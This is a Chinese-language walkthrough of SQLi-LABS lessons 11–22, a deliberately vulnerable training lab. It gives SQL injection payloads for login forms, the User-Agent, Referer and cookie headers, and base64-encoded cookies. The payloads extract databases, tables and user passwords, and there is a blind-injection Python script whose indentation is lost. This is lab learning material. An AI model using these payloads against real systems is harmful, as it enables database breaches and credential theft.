SQLi-LABS Page-1(Basic Challenges) Less11-Less22

Less-11

GET - Blind - Time based - double quotes

http://10.10.202.112/sqli/Less-11/

嘗試登陸：

username：admin'

password: 1

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' LIMIT 0,1' at line 1

猜想SQL語句爲：

SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

所以構造注入語句：

username: admin'-- -

password: 1

 

username: admin' or '1'='1 

password: admin' or '1'='1

SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

select username,password from users where username='admin' or '1'='1' and password='admin' or '1'='1' LIMIT 0,1

 

Less-12

POST - Error Based - Double quotes- String

注入嘗試：

username: admin'

password: 1

無回顯

username：admin"

password:  1

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1") LIMIT 0,1' at line 1

猜想SQL爲：

select username,password from users where username=("$username") and password=("$password") limit 0,1

構造注入payload：

username：admin")-- -

password: 1

select username,password from users where username=("admin")-- -" and password="1" limit 0,1

最終執行的SQL變爲：

select username,password from users where username=("admin") 永遠爲真

 

Less-13

POST - Double Injection - Single quotes

http://10.10.202.112/sqli/Less-13/

嘗試注入：

username： admin'

password: 1

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1') LIMIT 0,1' at line 1

猜想SQL：

select username,password from users where username=('$username') and password=('$password') limit 0,1

payload:

username: admin')-- -

password: 1

select username,password from users where username=('admin')-- -') and password=('$password') limit 0,1

select username,password from users where username=('admin')

 

Less-14

POST - Double Injection - Single quotes

http://10.10.202.112/sqli/Less-14/

嘗試注入：

username： admin\

passwrod: 1

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1" LIMIT 0,1' at line 1

猜想SQL爲：

select username,password from users where username="$username" and password="$password" limit 0,1

注入payloads：

username：admin"-- - 或者 admin" or "s"="s

password: 1

 

select username,password from users where username="admin"-- -" and password="1" limit 0,1

select username,password from users where username="admin"

 

 

Less-15

POST - Blind- Boolian/time Based - Singing

http://10.10.202.112/sqli/Less-15/

payload:

username: admin'-- - 或者 admin'#

password: 1

 

Less-16

POST - Blind- Boolian/Time Based - Double

嘗試 ' " \

均無報錯，查看源碼SQL以下：

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';

SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1

payload:

username: admin")-- -

password: 1 

 

#!/usr/bin/env python
#coding:utf8

import requests
import string
import sys
global findBit
def sendPayload(payload):
proxy = {"http":"http://10.10.202.112"}
url = "http://10.10.202.112/sqli/Less-16/index.php"
data = "uname=" + payload + "&passwd=chybeta&submit=Submit"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
content = requests.post(url,data=data,headers=headers,proxies=proxy)
return content.text
flag = "flag.jpg"
def generateTarget(flag):
if flag == "database":
return "database()"
elif flag == "tables":
return "(SELECT%09GROUP_CONCAT(table_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.TABLE
S%09WHERE%09TABLE_SCHEMA=0x786d616e)"
elif flag == "columns":
return "(SELECT%09GROUP_CONCAT(column_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.COLU
MNS%09WHERE%09TABLE_NAME=0x6374665f7573657273)"
elif flag == "data":
return "(SELECT%09GROUP_CONCAT(gpass%09SEPARATOR%090x3c62723e)%09FROM%09ctf_users)"
def doubleSearch(leftNum,rightNum,i,target):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
payload = 'admin") and%09(%09select%09ascii(substr(' +generateTarget(target) +"%09from%09"+ str(i) +"
%09for%091))<="+str(midNum) +")%23"
recv = sendPayload(payload)
if flag in recv:
doubleSearch(leftNum,midNum,i,target)
else:
doubleSearch(midNum,rightNum,i,target)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def exp():
global findBit
i = 1
findBit = 0
print "The database:"
target = "database"
while i :
doubleSearch(-1,255,i,target)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
exp()

 

 

 

Less-17

POST - Update Query- Error Based - String

http://10.10.202.112/sqli/Less-17/

查看源碼SQL爲：

UPDATE users SET password = '$passwd' WHERE username='$row1'

嘗試payload：

new username： admin

new password： 1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1

嘗試閉合：

username： admin

password：1'--+

針對報錯盲注獲取MySQL的版本信息

uname=admin&passwd=1'+and+extractvalue(0x0a,concat(0x0a,(select+version())))--+&submit=Submit

uname=admin&passwd=1'+and+extractvalue(0x0a,concat(0x0a,(SELECT+schema_name+FROM+INFORMATION_SCHEMA.SCHEMATA+limit+6,1)))--+&submit=Submit

獲取表

uname=admin&passwd=1'+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+3,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+&submit=Submit

 

Less-18

POST - Header Injection - Uagent field

http://10.10.202.112/sqli/Less-18/

備註：這裏須要登陸才能HTTP頭部注入，查看源碼

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

username：admin

password：1

user-agent 嘗試注入：'

嘗試閉合：

payload：

user-agent： hack404' and 's'='s

接下來咱們使用基於報錯的進行注入：

hack404' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

 

User-Agent: hack404' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 7,1),0x7e),1) and '1'='1

 

Less-19

POST - Header Injection - Referer field

http://10.10.202.112/sqli/Less-19/

依然是HTTP 頭部注入

Your IP ADDRESS is: 10.10.202.1
Your Referer is: http://10.10.202.112/sqli/Less-19/

HTTP referer 注入

payload:

Referer: hack404'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '10.10.202.1')'

嘗試閉合

payload：hack404' and 's'='s

payload:

Referer: hack404' and updatexml(1,concat(0x7e,version(),0x7e),1) and 's'='s

 

Less-20

http://10.10.202.112/sqli/Less-20/index.php

POST - Cookie injections - Uagent field

username: admin

password: 1

源碼中的判斷語句有些長，梳理一下：

判斷Cookie中的uname是否被設置，若沒有，返回的是登陸前界面，這裏對username和password都作了輸入檢查，登錄成功後發放Cookie
若uname非空，則再判斷submit是否被設置（即有Cookie的用戶是否選擇刪除Cookie），若沒有，則用uname做參數查詢數據庫並返回相應信息
若submit非空（即用戶點擊Delete Cookie按鈕），則刪除Cookie（即設置Cookie有效時間爲負值）
因爲未對cookie作輸入檢查，同時select語句使用了cookie的uname值

先登陸成功，再嘗試修改cookie

 

payload：

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

 

獲取當前的庫：

Cookie: uname=admin' +and+updatexml(null,concat(0x0a,(SELECT+schema_name+FROM+INFORMATION_SCHEMA.SCHEMATA+limit+6,1)),null) and '1'='1

獲取當前的表

Cookie: uname=admin' +AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+3,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) and '1'='1

 

獲取username字段

Cookie: uname=admin' +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x7573657273+AND+table_schema=DATABASE()+LIMIT+1,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) and '1'='1

 

 

 獲取password字段

Cookie: uname=admin' +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x7573657273+AND+table_schema=DATABASE()+LIMIT+2,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) and '1'='1

獲取字段數據

Cookie: uname=admin' +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+7,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) and '1'='1

 

Less-21

POST- Dump into outfile - String

http://10.10.202.112/sqli/Less-21/index.php

 

YWRtaW4%3D

YWRtaW4=

base64 解碼爲：admin

admin' -- YWRtaW4n

 

嘗試閉合：

admin' and 's'='s -- YWRtaW4nIGFuZCAncyc9J3M=

payload:

admin' and updatexml(null,concat(0x0a,(select version())),null) and 's'='s 

YWRtaW4nIGFuZCB1cGRhdGV4bWwobnVsbCxjb25jYXQoMHgwYSwoc2VsZWN0IHZlcnNpb24oKSkpLG51bGwpIGFuZCAncyc9J3M=

 

Less-22

Future Editions

http://10.10.202.112/sqli/Less-22/index.php

首先登錄：

base64 解碼

嘗試報錯注入下：

admin" -- YWRtaW4i

嘗試閉合：

admin" and "s"="s --  YWRtaW4iIGFuZCAicyI9InM=

構造SQL

admin" and updatexml(1,concat(0x7e,database(),0x7e),1) and "s"="s

YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIGFuZCAicyI9InM=

 

完結！！！ 

 

點擊讚揚二維碼，您的支持將鼓勵我繼續創做！